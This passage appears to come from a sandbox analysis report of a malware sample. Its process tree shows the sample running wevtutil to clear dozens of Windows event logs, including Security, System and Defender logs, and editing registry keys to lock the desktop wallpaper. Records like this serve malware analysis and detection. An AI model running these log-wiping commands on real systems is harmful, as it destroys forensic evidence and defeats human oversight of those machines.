                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2656
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-WinHttp/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1240
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-WinINet/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-WinRM/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2448
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-WinRM/Debug"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1744
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-WinRM/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1536
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-Windeploy/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1500
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-Windows Defender/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2912
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-Windows Defender/WHC"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1972
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-Windows Firewall With Advanced Security/ConnectionSecurity"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2712
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-Windows Firewall With Advanced Security/ConnectionSecurityVerbose"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:924
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-Windows Firewall With Advanced Security/Firewall"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1876
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-Windows Firewall With Advanced Security/FirewallVerbose"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:660
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-WindowsBackup/ActionCenter"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:968
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-WindowsColorSystem/Debug"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1576
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-WindowsColorSystem/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2944
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-WindowsSystemAssessmentTool/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3056
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-WindowsSystemAssessmentTool/Tracing"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1320
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-WindowsUpdateClient/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1748
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-Wininit/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2840
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-Winlogon/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1712
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-Winlogon/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2576
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-Winsock-AFD/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2100
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-Winsock-WS2HELP/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1676
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-Winsrv/Analytic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2960
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-Wired-AutoConfig/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2388
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Microsoft-Windows-Wired-AutoConfig/Operational"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2404
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Microsoft-Windows-Wordpad/Admin"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1348
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "Microsoft-Windows-Wordpad/Debug"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1816
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "Microsoft-Windows-Wordpad/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1828
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "Microsoft-Windows-mobsync/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:768
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "Microsoft-Windows-ntshrui"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1624
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "Microsoft-Windows-osk/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:448
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "Microsoft-Windows-stobject/Diagnostic"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • Clears Windows event logs
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1952
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "OAlerts"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1700
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "Security"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1372
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Setup"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1404
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "System"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:692
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "TabletPC_InputPanel_Channel"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2860
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              wevtutil.exe cl "WINDOWS_MP4SDECD_CHANNEL"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2768
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                wevtutil.exe cl "WINDOWS_MSMPEG2VDEC_CHANNEL"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2616
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  wevtutil.exe cl "WINDOWS_WMPHOTO_CHANNEL"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2644
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    wevtutil.exe cl "WMPSetup"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2524
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      wevtutil.exe cl "WMPSyncEngine"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1344
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        wevtutil.exe cl "Windows PowerShell"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1160
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          wevtutil.exe cl "microsoft-windows-RemoteDesktopServices-RemoteDesktopSessionManager/Admin"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2220
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            wevtutil.exe cl "muxencode"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2792
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c cmd.exe /c reg delete "HKCU\Contol Panel\Desktop" /v Wallpaper /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1996
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              cmd.exe /c reg delete "HKCU\Contol Panel\Desktop" /v Wallpaper /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:1928
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  reg delete "HKCU\Contol Panel\Desktop" /v Wallpaper /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:2520
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c cmd.exe /c reg delete "HKCU\Conttol Panel\Desktop" /v WallpaperStyle /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:496
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    cmd.exe /c reg delete "HKCU\Conttol Panel\Desktop" /v WallpaperStyle /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2124
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        reg delete "HKCU\Conttol Panel\Desktop" /v WallpaperStyle /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2724
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallPaper /t REG_SZ /d 1 /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2772
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallPaper /t REG_SZ /d 1 /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2708
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallPaper /t REG_SZ /d 1 /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
